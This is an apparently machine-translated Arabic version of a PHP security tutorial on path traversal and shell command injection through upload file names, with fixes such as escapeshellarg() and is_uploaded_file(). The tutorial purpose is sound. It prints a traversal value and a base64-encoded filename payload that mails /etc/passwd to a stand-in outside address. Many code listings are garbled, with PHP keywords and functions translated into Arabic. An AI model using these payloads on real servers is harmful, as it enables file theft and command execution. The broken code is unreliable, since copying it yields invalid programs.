أهمية الاهتمام بالمشكلات الأمنية رؤية أكثر من كل شيء
الطريقة الأكثر فعالية والتي يتم تجاهلها غالبًا لمنع المستخدمين من إتلاف برامجك بشكل ضار هي مراعاة الاحتمال عند كتابة التعليمات البرمجية الخاصة بك. من المهم أن تكون على دراية بالمشكلات الأمنية المحتملة في التعليمات البرمجية الخاصة بك. خذ بعين الاعتبار وظيفة المثال التالية المصممة لتبسيط عملية كتابة ملفات نصية كبيرة في PHP:
<?php
وظيفة write_text($filename, $text="") {
ثابت $open_files = array();
// إذا كان اسم الملف فارغا، أغلق جميع الملفات
إذا ($اسم الملف == NULL) {
foreach($open_files كـ $fr) {
fClose($fr);
}
عودة صحيحة؛
}
$index = md5($filename);
إذا(!isset($open_files[$index])) {
$open_files[$index] = fopen($filename, "a+");
إذا قام (!$open_files[$index]) بإرجاع خطأ؛
}
fputs($open_files[$index], $text);
عودة صحيحة؛
}
?>
تأخذ هذه الوظيفة معلمتين افتراضيتين، اسم الملف والنص المراد كتابته في الملف.
ستتحقق الوظيفة أولاً مما إذا كان الملف مفتوحًا بالفعل؛ وإذا كان الأمر كذلك، فسيتم استخدام مقبض الملف الأصلي. وإلا فإنه سيتم إنشاؤه من تلقاء نفسه. وفي كلتا الحالتين، يتم كتابة النص إلى الملف.
إذا كان اسم الملف الذي تم تمريره إلى الدالة NULL، فسيتم إغلاق كافة الملفات المفتوحة. ويرد أدناه مثال على الاستخدام.
ستكون هذه الوظيفة أكثر وضوحًا وأكثر قابلية للقراءة إذا قام المطور بكتابة ملفات نصية متعددة بالتنسيق التالي.
لنفترض أن هذه الوظيفة موجودة في ملف منفصل يحتوي على الكود الذي يستدعي هذه الوظيفة.
فيما يلي مثل هذا البرنامج، دعنا نسميه quote.php:
<html><body>
<form action="<?=$_SERVER['PHP_SELF']?>"method="get">
اختر طبيعة الاقتباس:
<حدد الاسم = "اقتباس" الحجم = "3">
<option value="funny">اقتباسات فكاهية</option>
<option value="policie">اقتباسات سياسية</option>
<option value="love">اقتباسات رومانسية</option>
</اختر><br />
الاقتباس: <input type = "text" name = "quote_text" size = "30" />
<input type = "submit" value = "حفظ الاقتباس" />
</النموذج>
</body></html>
<?php
include_once('write_text.php');
$filename = "/home/web/quotes/{$_GET['quote']}";
$quote_msg = $_GET['quote_text'];
إذا (write_text($filename, $quote_msg)) {
echo "<center><hr><h2>تم حفظ الاقتباس!</h2></center>";
} آخر {
echo "<center><hr><h2>حدث خطأ أثناء كتابة الاقتباس</h2></center>";
}
write_text(NULL);
?>
كما ترون، استخدم المطور وظيفة write_text() لإنشاء نظام يمكن للمستخدمين من خلاله إرسال عروض الأسعار المفضلة لديهم، والتي سيتم تخزينها في ملف نصي.
لسوء الحظ، ربما لم يعتقد المطورون أن هذا البرنامج يسمح أيضًا للمستخدمين الضارين باختراق أمان خادم الويب.
ربما أنت الآن في حيرة من أمرك وتتساءل كيف يمكن لهذا البرنامج الذي يبدو بريئًا أن يشكل خطرًا أمنيًا.
إذا كنت لا تستطيع معرفة ذلك، فكر في عنوان URL التالي، وتذكر أن هذا البرنامج يسمى quote.php:
http://www.somewhere.com/fun/quotes.php?quote=different_file.dat"e_text=garbage+data
عندما يكون هذا يتم تمرير عنوان URL إلى ماذا سيحدث عند استخدام خادم الويب؟
من الواضح أنه سيتم تنفيذ quote.php، ولكن بدلاً من كتابة اقتباس لأحد الملفات الثلاثة التي نريدها، بدلاً من ذلك، سيتم إنشاء ملف جديد يسمى Different_file.dat يحتوي على بيانات السلسلة المهملة.
من الواضح أن هذا ليس السلوك المرغوب فيه، حيث يمكن لمستخدم ضار الوصول إلى ملف كلمة مرور UNIX وإنشاء حساب عن طريق تحديد الاقتباس كـ ../../../etc/passwd (على الرغم من أن هذا يتطلب من خادم الويب تشغيل البرنامج كمستخدم متميز). إذا كان الأمر كذلك، فيجب عليك التوقف عن القراءة والذهاب لإصلاحه الآن).
إذا كان من الممكن الوصول إلى /home/web/quotes/ من خلال متصفح، فربما تكون المشكلة الأمنية الأكثر خطورة في هذا البرنامج هي أنه يسمح لأي مستخدم بكتابة وتشغيل برامج PHP عشوائية. وهذا سوف يسبب مشاكل لا نهاية لها.
وهنا بعض الحلول. إذا كنت تحتاج فقط إلى كتابة بعض الملفات في الدليل، ففكر في استخدام مصفوفة مرتبطة لتخزين أسماء الملفات. إذا كان الملف الذي أدخله المستخدم موجودًا في هذه المصفوفة، فيمكن كتابته بأمان. هناك فكرة أخرى تتمثل في إزالة جميع الأحرف التي ليست أحرفًا أو أرقامًا لضمان عدم وجود فواصل للدليل. هناك طريقة أخرى وهي التحقق من امتداد الملف للتأكد من عدم تنفيذ الملف بواسطة خادم الويب.
المبدأ بسيط، كمطور عليك أن تفكر أكثر مما يفعله برنامجك عندما تريد تشغيله.
ماذا يحدث إذا دخلت بيانات غير قانونية إلى عنصر نموذج؟ هل يمكن لمستخدم ضار أن يتسبب في تصرفات برنامجك بطريقة غير مقصودة؟ ما الذي يمكن فعله لوقف هذه الهجمات؟ يكون خادم الويب الخاص بك وبرنامج PHP آمنين فقط في ظل أضعف رابط أمان، لذلك من المهم التأكد من أن هذه الروابط التي يحتمل أن تكون غير آمنة آمنة.
الأخطاء الشائعة المتعلقة بالأمان فيما يلي بعض النقاط البارزة، وقائمة مختصرة وغير كاملة من الأخطاء البرمجية والإدارية التي يمكن أن تعرض الأمان للخطر
. الثقة في البيانات هذا هو الموضوع الذي يتم تناوله خلال مناقشتي حول أمان برنامج PHP، ويجب ألا تثق أبدًا في البيانات التي تأتي من الخارج. سواء كان ذلك من نموذج مقدم من المستخدم، أو ملف على نظام الملفات، أو متغير بيئة، لا يمكن اعتبار أي بيانات أمرا مفروغا منه. لذلك يجب التحقق من صحة إدخال المستخدم وتنسيقه لضمان الأمان.
خطأ 2. تخزين البيانات الحساسة في أدلة الويب يجب تخزين أي وجميع البيانات الحساسة في ملفات منفصلة عن البرامج التي تحتاج إلى استخدام البيانات، وفي دليل لا يمكن الوصول إليه من خلال المتصفح. عند الحاجة إلى استخدام بيانات حساسة، قم بتضمينها في برنامج PHP المناسب من خلال عبارات التضمين أو الطلب.
خطأ 3. عدم استخدام احتياطات السلامة الموصى بها
يحتوي دليل PHP على فصل كامل عن الاحتياطات الأمنية عند استخدام وكتابة برامج PHP. يشرح الدليل أيضًا (تقريبًا) بوضوح، بناءً على دراسات الحالة، متى تكون هناك مخاطر أمنية محتملة وكيفية تقليلها. وفي مثال آخر، يعتمد المستخدمون الضارون على أخطاء المطورين والمسؤولين للحصول على المعلومات الأمنية التي يهتمون بها للحصول على أذونات النظام. انتبه لهذه التحذيرات واتخذ الخطوات المناسبة لتقليل احتمالية قيام مستخدم ضار بالتسبب في ضرر حقيقي لنظامك.
إجراء استدعاءات النظام في PHP هناك طرق عديدة لإجراء استدعاءات النظام في PHP.
على سبيل المثال، system() وexec() وpassthru() وpopen() وعامل التشغيل backquote (`) جميعها تسمح لك بإجراء استدعاءات النظام في برنامجك. سيؤدي الاستخدام غير السليم لهذه الوظائف إلى فتح الباب أمام المستخدمين الضارين لتنفيذ أوامر النظام على الخادم الخاص بك. كما هو الحال عند الوصول إلى الملفات، في الغالبية العظمى من الحالات، تحدث ثغرات أمنية بسبب مدخلات خارجية غير موثوقة تؤدي إلى تنفيذ أوامر النظام.
مثال لبرنامج يستخدم استدعاءات النظام فكر في برنامج يتعامل مع تحميلات ملفات http، فهو يستخدم برنامج zip لضغط الملف ثم نقله إلى دليل محدد (الافتراضي هو /usr/local/archives/). الرمز هو كما يلي:
<?php
$zip = "/usr/bin/zip";
$store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['ملف']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) {
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
إذا (file_exists($cmp_name)) {
$savepath = $store_path.$filename;
إعادة تسمية($cmp_name, $savepath);
}
}
}
?>
<form enctype="multipart/form-data" action="<?
php echo $_SERVER['PHP_SELF'];
?>" الطريقة = "POST">
<نوع الإدخال = "HIDDEN" الاسم = "MAX_FILE_SIZE" القيمة = "1048576">
الملف المراد ضغطه: <input name="file" type="file"><br />
<input type="submit" value="Compress File">
</form>
على الرغم من أن هذا البرنامج يبدو بسيطًا إلى حد ما وسهل الفهم، إلا أن هناك عدة طرق يمكن لمستخدم خبيث استغلاله. توجد المشكلة الأمنية الأكثر خطورة عندما نقوم بتنفيذ أمر الضغط (عبر عامل التشغيل)، والذي يمكن رؤيته بوضوح في السطر التالي:
if (isset($_FILES['file'])) {
$tmp_name = $_FILES['ملف']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip"
$filename = basename($cmp_name)
;
$systemcall = "$zip $cmp_name $tmp_name";
$output = `$systemcall`;
...
خداع البرنامج لتنفيذ أوامر shell عشوائية على الرغم من أن هذا الرمز يبدو آمنًا تمامًا، إلا أنه من الممكن أن يسمح لأي مستخدم لديه أذونات تحميل الملفات بتنفيذ أوامر shell عشوائية!
على وجه الدقة، تأتي هذه الثغرة الأمنية من تعيين المتغير $cmp_name. نريد هنا أن يكون للملف المضغوط نفس اسم الملف الذي كان عليه عند تحميله من العميل (بامتداد .zip). استخدمنا $_FILES['file']['name'] (الذي يحتوي على اسم الملف الذي تم تحميله على العميل).
في مثل هذه الحالة، يمكن للمستخدمين الضارين تحقيق أهدافهم عن طريق تحميل ملف يحتوي على أحرف لها معنى خاص لنظام التشغيل الأساسي. على سبيل المثال، ماذا يحدث إذا قام المستخدم بإنشاء ملف فارغ كما هو موضح أدناه؟ (من موجه shell الخاص بـ UNIX)
[user@localhost]# touch ";php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
النظام(رمز $);';"
سيقوم هذا الأمر بإنشاء ملف بالاسم التالي:
;php -r '$code=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
النظام($code);';
تبدو غريبة؟ دعونا نلقي نظرة على "اسم الملف" هذا ونرى أنه يشبه إلى حد كبير الأمر الذي يجعل إصدار CLI من PHP ينفذ التعليمات البرمجية التالية:
<?php
$كود=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
النظام(رمز $);
?>
إذا قمت بعرض محتويات المتغير $code بدافع الفضول، فستجد أنه يحتوي على [email protected] < /etc/passwd. إذا قام المستخدم بتمرير هذا الملف إلى برنامج ثم قام PHP بإجراء استدعاء نظام لضغط الملف، فستقوم PHP بالفعل بتنفيذ العبارة التالية:
/usr/bin/zip /tmp/;php -r
'$كود=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
system($code);';.zip /tmp/phpY4iatI
والمثير للدهشة أن الأمر أعلاه ليس عبارة واحدة بل 3! نظرًا لأن غلاف UNIX يفسر الفاصلة المنقوطة (;) على أنها نهاية أمر Shell وبداية أمر آخر، باستثناء عندما تكون الفاصلة المنقوطة ضمن علامتي اقتباس، فسيتم تنفيذ نظام PHP () فعليًا على النحو التالي:
[user@localhost]# / usr /بن/الرمز البريدي /tmp/
[user@localhost]# php -r
'$كود=base64_decode(
"bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
النظام(رمز $);'
[user@localhost]# .zip /tmp/phpY4iatI
كما ترون، تحول برنامج PHP الذي يبدو غير ضار فجأة إلى باب خلفي يمكنه تنفيذ أوامر shell التعسفية وبرامج PHP الأخرى. على الرغم من أن هذا المثال لن يعمل إلا على الأنظمة التي تحتوي على إصدار CLI من PHP في المسار، إلا أن هناك طرقًا أخرى لتحقيق نفس التأثير باستخدام هذه التقنية.
المفتاح هنا
لمكافحة هجمات مكالمات النظام
هو أنه لا ينبغي الوثوق بالمدخلات الواردة من المستخدم، بغض النظر عن المحتوى!ويبقى السؤال هو كيفية تجنب المواقف المماثلة عند استخدام مكالمات النظام (بخلاف عدم استخدامها على الإطلاق). لمكافحة هذا النوع من الهجمات، توفر PHP وظيفتين، escapeshellarg() و escapeshellcmd().
تم تصميم الدالة escapeshellarg() لإزالة الأحرف التي يحتمل أن تكون خطرة من مدخلات المستخدم المستخدمة كوسائط لأوامر النظام (في حالتنا، الأمر zip). بناء جملة هذه الوظيفة كما يلي:
escapeshellarg($string)
سلسلة $ هي المدخلات المستخدمة للتصفية، والقيمة المرجعة هي الأحرف التي تمت تصفيتها. عند تنفيذها، ستضيف هذه الوظيفة علامات اقتباس مفردة حول الأحرف وتتجاوز (تسبق) علامات الاقتباس المفردة في السلسلة الأصلية. في روتيننا، إذا أضفنا هذه الأسطر قبل تنفيذ أمر النظام:
$cmp_name = escapeshellarg($cmp_name);
$tmp_name = escapeshellarg($tmp_name);
يمكننا تجنب مثل هذه المخاطر الأمنية من خلال التأكد من أن المعلمة التي تم تمريرها إلى استدعاء النظام قد تمت معالجتها وأنها عبارة عن إدخال مستخدم دون أي نية أخرى.
يشبه Escapeshellcmd() Escapeshellarg()، باستثناء أنه يهرب فقط من الأحرف التي لها معنى خاص لنظام التشغيل الأساسي. على عكس escapeshellarg()، لا يتعامل escapeshellcmd() مع المسافات البيضاء في المحتوى. على سبيل المثال، عند الهروب باستخدام escapeshellcmd()، فإن الأحرف
$string = "'مرحباً أيها العالم!';أمر الشر"
سوف يصبح:
"مرحبا أيها العالم"، أمر الشر
إذا تم استخدام هذه السلسلة كوسيطة لاستدعاء النظام، فإنها لن تعطي نتائج صحيحة لأن الصدفة ستفسرها على أنها وسيطتين منفصلتين: 'hello and World';evilcommand. إذا قام المستخدم بإدخال جزء من قائمة الوسيطات لاستدعاء النظام، فإن Escapeshellarg() هو الخيار الأفضل.
حماية الملفات المرفوعة طوال هذه المقالة، ركزت فقط على كيفية اختراق مكالمات النظام من قبل المستخدمين الضارين لتحقيق نتائج غير مرغوب فيها.
ومع ذلك، هناك خطر أمني محتمل آخر يستحق الذكر هنا. بالنظر إلى روتيننا مرة أخرى، ركز انتباهك على السطر التالي:
$tmp_name = $_FILES['file']['tmp_name'];
$cmp_name = dirname($_FILES['file']['tmp_name']) .
"/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
إذا (ملف_موجود($tmp_name)) {
أحد المخاطر الأمنية المحتملة الناجمة عن أسطر التعليمات البرمجية في المقتطف أعلاه هو أنه في السطر الأخير نحدد ما إذا كان الملف الذي تم تحميله موجودًا بالفعل (موجود باسم الملف المؤقت $tmp_name).
لا تأتي هذه المخاطر الأمنية من PHP نفسها، ولكن من حقيقة أن اسم الملف المخزن في $tmp_name ليس ملفًا في الواقع على الإطلاق، ولكنه يشير إلى الملف الذي يريد المستخدم الضار الوصول إليه، مثل /etc/passwd.
لمنع حدوث ذلك، توفر PHP الدالة is_uploaded_file()، وهي نفس وظيفة file_exists()، ولكنها توفر أيضًا التحقق مما إذا كان الملف قد تم تحميله بالفعل من العميل.
في معظم الحالات، ستحتاج إلى نقل الملف الذي تم تحميله. توفر PHP وظيفة move_uploaded_file() للعمل مع is_uploaded_file(). تُستخدم هذه الوظيفة لنقل الملفات مثل rename()، إلا أنها ستتحقق تلقائيًا للتأكد من أن الملف المنقول هو الملف الذي تم تحميله قبل التنفيذ. بناء جملة move_uploaded_file() كما يلي:
move_uploaded_file($filename, $destination);
عند تنفيذها، ستقوم الوظيفة بنقل الملف الذي تم تحميله $filename إلى الوجهة $destination وإرجاع قيمة منطقية للإشارة إلى ما إذا كانت العملية ناجحة.
ملحوظة: جون كوجيشال هو مستشار ومؤلف PHP. لقد مرت حوالي 5 سنوات منذ أن بدأ النوم حول PHP.
النص الأصلي باللغة الإنجليزية: http://www.onlamp.com/pub/a/php/2003/08/28/php_foundations.html